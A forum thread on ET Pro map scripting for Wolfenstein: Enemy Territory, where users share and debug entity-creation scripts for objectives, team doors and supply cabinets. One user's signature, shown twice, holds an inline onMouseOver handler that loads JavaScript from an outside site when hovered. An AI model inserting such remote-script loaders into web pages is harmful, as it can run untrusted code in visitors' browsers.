Scripting in ET Pro 3
Moderators: Forum moderators, developers, ET Pro Documentation
It's possible to do this in etmain, as long as whatever you want to remove has a scriptname. Search for "remove" in any of the map scripts (especially in the _lms scripts, since LMS removes lots of objectives and doors.)ZeAvIs wrote:I have a few questions.
1. Is it possible for this script to remove things? Like lets say removing an MG42 from a map or something? Or removing a truck?
I don't think so.ZeAvIs wrote:2. Is it possible to make a certain terrain mineable/unmineable?
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
-
- Posts: 62
- Joined: Mon Dec 29, 2003 12:25 pm
Hmm, make a terrain mineable/unmineable with a script could possibly be done by using
You have to know the shader that should be replaced.
And you must write a new shader (original shader minus the surfaceparm).
Code: Select all
remapshader <target shader> <new shader>
remapshaderflush
And you must write a new shader (original shader minus the surfaceparm).
Re: Scripting in ET Pro 3
If i put this into the current battery.script i only get thisduke'ku wrote:Scripting ExamplesCode: Select all
create { scriptname "dinghy1" origin "2650 600 100" classname "misc_gamemodel" modelscale 1 contents 1 mins "-90 -90 -25" maxs "90 90 25" clipmask 1 model "models/mapobjects/dinghy_sd/dinghy.md3" }
thats the current script (battery.script)
Code: Select all
game_manager
{
spawn
{
//bani
create
{
scriptName "backdoor"
classname "func_explosive"
targetname "backdoor"
origin "4608 -4594 1024"
mins "-63 -10 0"
maxs "63 10 128"
spawnflags 1 // AXIS_OBJECTIVE(1)
eflags 65536 // EF_FAKEBMODEL
svflags 1 // SVF_NOCLIENT
}
//bani
create
{
scriptName "backdoor_obj"
classname "trigger_objective_info"
targetname "backdoor_obj"
target "backdoor"
origin "4608 -4601 1024"
mins "-95 -85 0"
maxs "95 85 128"
spawnflags 17 // AXIS_OBJECTIVE(1) | CUSTOMIMAGE
track "the Back Door"
shortname "Back Door"
customaxisimage "gfx/limbo/cm_radar_maindoor"
}
//bani - bug fixes
create
{
scriptName "bugfix1"
classname "func_fakebrush"
origin "3632 -4313 881"
contents 65536 // CONTENTS_PLAYERCLIP
mins "-40 -1 -20"
maxs "40 1 10"
}
create
{
scriptname "dinghy1"
origin "2650 600 100"
classname "misc_gamemodel"
modelscale 1
contents 1
mins "-90 -90 -25"
maxs "90 90 25"
clipmask 1
model "models/mapobjects/dinghy_sd/dinghy.md3"
}
................
[BuH]ET1|FunForEveryone
IP: 62.4.74.241:27960 (40 Slots)
IP: 62.4.74.241:27960 (40 Slots)
- Ragnar_40k
- Posts: 394
- Joined: Thu Mar 18, 2004 5:18 pm
- Location: Berlin, birthplace of the Döner
- Contact:
I played around with the ETPro scripts and tried to make the axis team door next to the main gate satchable.
As first step I simply copied over the code for the battery backdoor and only changed the origin-key.
When I start the map I can throw a satchel next to the team door and get 7.5XP when I blast it. But I get no message and the teamdoor doesnt disapper.
It seems that the trigger "death" for "backdoor_obj" isn't called.
Can you say what is wrong?
As first step I simply copied over the code for the battery backdoor and only changed the origin-key.
When I start the map I can throw a satchel next to the team door and get 7.5XP when I blast it. But I get no message and the teamdoor doesnt disapper.
It seems that the trigger "death" for "backdoor_obj" isn't called.
Can you say what is wrong?
Code: Select all
game_manager
{
spawn
{
create
{
scriptName "backdoor"
classname "func_explosive"
targetname "backdoor"
origin "-1518 16 1406"
mins "-63 -10 0"
maxs "63 10 128"
spawnflags 1 // AXIS_OBJECTIVE(1)
eflags 65536 // EF_FAKEBMODEL
svflags 1 // SVF_NOCLIENT
}
create
{
scriptName "backdoor_obj"
classname "trigger_objective_info"
targetname "backdoor_obj"
target "backdoor"
origin "-1518 16 1406"
mins "-95 -85 0"
maxs "95 85 128"
spawnflags 17 // AXIS_OBJECTIVE(1) | CUSTOMIMAGE
track "the Back Door"
shortname "Back Door"
customaxisimage "gfx/limbo/cm_radar_maindoor"
}
.
.
.
}
Code: Select all
backdoor
{
spawn
{
wait 50
constructible_class 2
}
}
backdoor_obj
{
death
{
wm_announce "Allied team has destroyed the Axis Team Door!"
trigger teamonlydoor1 hide
}
}
teamonlydoor1
{
trigger hide
{
remove
// setstate teamonlydoor1 invisible
}
}
The Emperor watch over you.
- =FF=im2good4u
- Posts: 3821
- Joined: Wed Feb 05, 2003 7:30 am
- Location: The Netherlands, HOLLAND
- Contact:
maybe u should just use setstate invisable
<a href="http://bunnyherolabs.com/adopt/showpet. ... dQ=="><img src="http://petimage.bunnyherolabs.com/adopt ... Q0dQ==.png" width="80" height="100" border="0"></a>
- Ragnar_40k
- Posts: 394
- Joined: Thu Mar 18, 2004 5:18 pm
- Location: Berlin, birthplace of the Döner
- Contact:
- [MoB]Seany
- Posts: 163
- Joined: Thu Aug 05, 2004 9:57 am
With the following script, I get an empty ammo rack..well it looks empty but if you stand next to it you get ammo...and it dosnt run out. Why arnt the actual packs showing up?
Code: Select all
create
{
scriptname "ammo"
origin "650 -2540 975"
classname "misc_cabinet_supply"
mins "-90 -90 -25"
maxs "90 90 25"
ammototal 6
modelscale 1
contents 1
clipmask 1
model "models/mapobjects/supplystands/stand_ammo.md3"
}
create
{
scriptname "ammoarea"
origin "650 -2540 975"
classname "trigger_ammo"
modelscale 1
contents 1
mins "-90 -90 -25"
maxs "90 90 25"
clipmask 1
}
The trigger_ammo needs to be linked to the misc_cabinet_supply for the cabinet model to be updated. Try something like:[MoB]Seany wrote:With the following script, I get an empty ammo rack..well it looks empty but if you stand next to it you get ammo...and it dosnt run out. Why arnt the actual packs showing up?
Code: Select all
create
{
targetname "ammo"
scriptname "ammo"
origin "650 -2540 975"
classname "misc_cabinet_supply"
mins "-90 -90 -25"
maxs "90 90 25"
ammototal 6
modelscale 1
contents 1
clipmask 1
model "models/mapobjects/supplystands/stand_ammo.md3"
}
create
{
target "ammo"
scriptname "ammoarea"
origin "650 -2540 975"
classname "trigger_ammo"
modelscale 1
contents 1
mins "-90 -90 -25"
maxs "90 90 25"
clipmask 1
}
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
- [MoB]Seany
- Posts: 163
- Joined: Thu Aug 05, 2004 9:57 am
- [MoB]Seany
- Posts: 163
- Joined: Thu Aug 05, 2004 9:57 am
Ok, now I want to get it to show up on the command map
I already have
Its works and has a "You are near Health and Ammo" message, but what do I need to do to get it to show up ont he command map?
I did have script_mover parts as well before I removed them:
But, no matter what properties i removed, it still said a model was required for script_mover. Is a script_mover class really that important? And if so, what do I need to do to fix it? If not, then what must be done for it to show up on the command map? Thanks
I already have
Code: Select all
game_manager
{
spawn
{
create
{
targetname "ammo"
scriptname "ammo"
origin "-1373 -1100 192"
classname "misc_cabinet_supply"
angle "270"
mins "-45 -45 -25"
maxs "45 45 25"
ammototal "100"
modelscale "1"
contents "1"
clipmask "1"
model "models/mapobjects/supplystands/stand_ammo.md3"
}
create
{
target "ammo"
ammototal "40"
ammorate "1"
origin "-1373 -1100 192"
classname "trigger_ammo"
targetname "ammoarea"
scriptname "ammoarea"
modelscale "1"
contents "1"
mins "-45 -45 -25"
maxs "45 45 25"
clipmask "1"
}
create
{
targetname "health"
scriptname "health"
origin "-1488 -1175 192"
classname "misc_cabinet_health"
angle "360"
mins "-45 -45 -25"
maxs "45 45 25"
modelscale "1"
contents "1"
clipmask "1"
model "models/mapobjects/supplystands/stand_ammo.md3"
}
create
{
target "health"
scriptname "healtharea"
targetname "healtharea"
classname "trigger_heal"
origin "-1488 -1175 192"
healtotal "400"
healrate "10"
modelscale "1"
contents "1"
mins "-45 -45-25"
maxs "45 45 25"
clipmask "1"
}
create
{
classname "trigger_objective_info"
target "help_marker_toi"
scriptname "ammo_info_toi"
track "Health and Ammo Cabinets"
targetname "ammo_info_toi"
shortname "Health and Ammo Cabinets"
spawnflags "is_healthammocabinet"
infoAllied "Health and Ammo cabinets can be used as a regroup or meeting point for your squad."
infoAxis "Health and Ammo cabinets can be used as a regroup or meeting point for your squad."
customimage "gfx/limbo/cm_healthammo"
origin "-1352 -1179 256"
modelscale "1"
contents "1"
mins "-45 -45-25"
maxs "45 45 25"
clipmask "1"
}
create
{
classname "misc_commandmap_marker"
scriptname "help_marker_toi"
targetname "help_marker_toi"
contents "1"
clipmask "1"
origin "-1488 -1175 192"
}
I did have script_mover parts as well before I removed them:
Code: Select all
create
{
targetname "ammo_clip"
scriptname "ammo_clip"
classname "script_mover"
spawnflags "2"
}
create
{
targetname "health_clip"
scriptname "health_clip"
classname "script_mover"
spawnflags "2"
}